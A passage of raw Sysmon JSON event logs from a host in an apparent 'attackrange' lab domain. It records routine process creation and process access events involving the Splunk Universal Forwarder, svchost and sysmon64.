5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.339","ProcessGuid":"{90617006-4319-5F2D-0000-001084BD0F00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7952,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4319-5F2D-0000-001084BD0F00}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4319-5F2D-0000-001084BD0F00}","TargetProcessId":"3468","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7953,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7954,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7955,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7956,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7957,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7958,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7959,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 